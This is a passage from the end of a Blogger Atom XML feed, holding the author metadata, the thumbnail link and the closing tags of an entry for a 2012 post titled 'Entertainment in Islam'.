href='http://wakirmani.blogspot.com/2012/04/entertainment-in-islam.html' title='Entertainment in Islam'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry></feed>